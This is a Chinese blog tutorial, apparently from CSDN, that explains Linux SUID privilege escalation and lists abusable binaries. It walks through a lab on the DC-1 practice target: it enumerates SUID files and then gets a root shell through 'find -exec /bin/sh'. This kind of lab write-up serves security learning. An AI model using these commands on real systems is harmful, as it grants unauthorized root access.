Linux中suid提权

一、原理:

设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了,如果此时可以输入命令,就可以打开一个用户身份为root的shell。

二、已知可用来提权的linux文件:

nmap
vim/vi
find
bash
more
less
nano
cp

三、提权过程

环境:DC-1靶机,基于Debian7.11,已经拥有一个可以用ssh连接的低权限账户flag4,要提升至root权限。

示例:find提权

1. 查看当前用户权限

通过读取/etc/passwd文件查看当前用户权限

cat /etc/passwd

返回如下
在这里插入图片描述可以看到用户flag4的UID为1001,为普通用户。

2. 查找设置了SUID的文件

find / -perm -u=s -type f 2>/dev/null    #在根目录下查找设置所有设置了SUID的文件

参数解释:
/ :查找路径为根目录
-perm -u=s : 要查找的文件权限设置了SUID
-type f:要查找的东西类型为文件
2>/dev/null :将报错信息全部丢弃

结果中列出所有设置了SUID的文件,可以看到/usr/bin/find
在这里插入图片描述
3. 使用/usr/bin/find提权
①先查看一下/usr/bin/find的权限

ls -l /usr/bin/find    #查看find的权限、属主等信息

返回结果中显示/usr/bin/find的拥有者为root,拥有者对该文件的权限为rws,s 表示该文件设置了SUID。满足拥有者为root并设置了suid的条件,可用来提权至root。
在这里插入图片描述
②利用find执行命令whoami查看当前身份

find getflag -exec whoami \;   #在当前目录查找getflag,然后执行命令whoami。

参数解释:
getflag是当前目录下存在的文件,如不存在可以先创建一个,也可以find其他文件夹的文件,但find的文件必须存在,否则命令无法执行。

返回结果中显示当前身份为root
在这里插入图片描述
PS:这一步为非必须,只是习惯性看看命令能否正常执行

③使用find打开一个shell

find getflag -exec "/bin/sh" \;

然后whoami查看当前shell用户,为root
在这里插入图片描述
PS:测试的时候发现如果执行的是/bin/bash,发现用户还是原来的flag4,只有执行/bin/sh,得到的才是root。。。不知为何

参考:
find命令用法大全
Shell中 2>/dev/null解析
Linux下用SUID提权_谢公子的博客

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值